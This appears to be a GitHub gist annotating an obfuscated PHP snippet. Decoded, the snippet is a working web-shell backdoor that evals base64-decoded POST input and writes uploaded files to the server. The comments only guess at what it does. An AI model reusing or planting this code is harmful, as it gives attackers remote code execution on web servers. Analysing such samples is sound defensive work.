Skip to content

Instantly share code, notes, and snippets.

@d0n601
Created July 10, 2018 19:13
Show Gist options
  • Save d0n601/4d85421f3434dec0bc00a2fb5472044d to your computer and use it in GitHub Desktop.
Save d0n601/4d85421f3434dec0bc00a2fb5472044d to your computer and use it in GitHub Desktop.
adding lines where appropriate.
<?php
echo 7457737+736723; // Some integer, maybe an id of some sort.
$raPo_rZluoE=base64_decode("Y".chr(109)."F".chr(122).chr(90)."T".chr(89).chr(48).chr(88)."2"."R"."l"."Y".chr(50)."9".chr(107)."Z".chr(81)."="."="); // Some string
$ydSJPtnwrSv=base64_decode(chr(89)."2".chr(57).chr(119).chr(101).chr(81).chr(61)."="); // Another string
eval($raPo_rZluoE($_POST[base64_decode(chr(97).chr(87)."Q".chr(61))])); // This is dangerous looking, an eval() call based on a POST request.
// If the POST matches something, move some (likely malicious) files.
if( $_POST[base64_decode("d".chr(88).chr(65)."=")] == base64_decode("d"."X".chr(65).chr(61))) {
@$ydSJPtnwrSv($_FILES[base64_decode(chr(90)."m"."l"."s".chr(90)."Q"."=".chr(61))][base64_decode(chr(100).chr(71).chr(49)."w"."X".chr(50)."5".chr(104)."b".chr(87)."U".chr(61))],$_FILES[base64_decode("Z".chr(109)."l"."s".chr(90)."Q".chr(61).chr(61))][base64_decode(chr(98)."m"."F".chr(116)."Z".chr(81).chr(61)."=")]);
}
?>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment